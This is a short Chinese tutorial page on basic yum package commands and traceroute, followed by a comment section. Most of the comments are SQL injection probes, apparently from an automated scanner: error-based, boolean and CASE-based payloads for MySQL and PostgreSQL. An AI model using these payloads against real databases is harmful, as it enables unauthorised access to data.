linux基础（3）

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1.使用YUM查找软件包

yum search

2.列出所有可安装的软件包

yum list

3.列出所有可更新的软件包

yum list updates

4.列出所有已安装的软件包

yum list installed

5.列出所有已安装但不在 Yum Repository 内的软件包

yum list extras

6.列出所指定的软件包

yum list

7.使用YUM获取软件包信息

yum info

8.列出所有软件包的信息

yum info

9.列出所有可更新的软件包信息

yum info updates

10.列出所有已安装的软件包信息

yum info installed

11.列出所有已安装但不在 Yum Repository 内的软件包信息

yum info extras

12.列出软件包提供哪些文件

yum provides

13.查看追踪域名路由

yum install -y traceroute

traceroute www.cdstm.cn

全部评论

2020-01-06 19:08

angelina') AND 5730=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (5730=5730) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC) AND ('aQpM'='aQpM

2020-01-06 19:08

angelina AND (SELECT 2773 FROM(SELECT COUNT(*),CONCAT(0x717a7a7871,(SELECT (ELT(2773=2773,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FEiP

2020-01-06 19:08

angelina AND (SELECT 2773 FROM(SELECT COUNT(*),CONCAT(0x717a7a7871,(SELECT (ELT(2773=2773,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

2020-01-06 19:08

angelina) AND (SELECT 2773 FROM(SELECT COUNT(*),CONCAT(0x717a7a7871,(SELECT (ELT(2773=2773,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (1874=1874

2020-01-06 19:08

angelina' AND (SELECT 2773 FROM(SELECT COUNT(*),CONCAT(0x717a7a7871,(SELECT (ELT(2773=2773,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tmfa'='tmfa

2020-01-06 19:08

angelina') AND (SELECT 2773 FROM(SELECT COUNT(*),CONCAT(0x717a7a7871,(SELECT (ELT(2773=2773,1))),0x71626a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('PwPX'='PwPX

2020-01-06 19:08

(SELECT (CASE WHEN (3599=3599) THEN 'angelina' ELSE (SELECT 5725 UNION SELECT 1659) END))

2020-01-06 19:08

(SELECT (CASE WHEN (7398=7316) THEN 'angelina' ELSE (SELECT 7316 UNION SELECT 7884) END))

2020-01-06 19:08

angelina AND 2021=2021-- SxHk

2020-01-06 19:08

angelina AND 4234=7300-- MmSC

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linux基础（3）

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